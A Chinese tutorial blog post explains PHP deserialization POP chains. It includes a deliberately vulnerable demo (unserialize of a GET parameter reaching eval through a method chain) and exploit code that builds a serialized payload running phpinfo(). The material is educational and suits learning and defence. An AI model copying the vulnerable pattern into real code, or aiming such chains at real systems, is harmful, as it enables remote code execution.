zoukankan      html  css  js  c++  java
  • 构造注入链:POP

    1.POP链原理简介:

    在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种
    漏洞利用方法叫"面向属性编程",即POP( Property Oriented Programming)。
    在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,
    而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。

    试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类
    魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。
    这个时候就需要构造一个链,链接到我们需要执行的函数eval()。 

    我们来模拟一个简单的场景

     1 <?php
     2 class OowoO
     3 {
     4     protected $obj; 
     5     function __destruct()
     6     {
     7         //$obj = new test1; 这里可以控制$obj为任意对象
     8         $this->obj->a();
     9     }
    10 }
    11 
    12 class test1{
    13     function a(){
    14         echo "123";
    15     }
    16 }
    17 
    18 class test2{
    19     private $data;
    20     function a(){
    21         eval($this->data);
    22     }
    23 }
    24 unserialize($_GET['a']);
    25 ?>

    利用:

     1 <script language="php">
     2 class OowoO{
     3     protected $obj;
     4 
     5     public function __construct(){
     6         $this->obj = new test2();
     7     }
     8 }
     9 class test2{
    10     private $data = "phpinfo();";
    11 }
    12 echo urlencode(serialize(new OowoO()));
    13 </script>

    结果:

    值得注意的是,反序列化可以控制类的属性,无论private还是public。
    但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空
    字节,所以记得urlencode一下,payload才会生效。

    总的来说:如果魔幻函数中没有漏洞利用点,但是他调用了其他对象(意味着实例化了该对象)中的方法A,
    由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。

  • 相关阅读:
    定时器Timer的使用
    Queue和BlockingQueue的使用以及使用BlockingQueue实现生产者-消费者
    ReentrantReadWriteLock读写锁的使用
    利用Lucene与Nutch构建简单的全文搜索引擎
    再见了,DM
    互联网公司高并发图片(缩略图)处理中间层服务架构设计一
    poj 3131 双向搜索+hash判重
    [置顶] linux常用命令大全
    堆排序
    iOS UIView非常用方法及属性详解
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13024539.html
Copyright © 2011-2022 走看看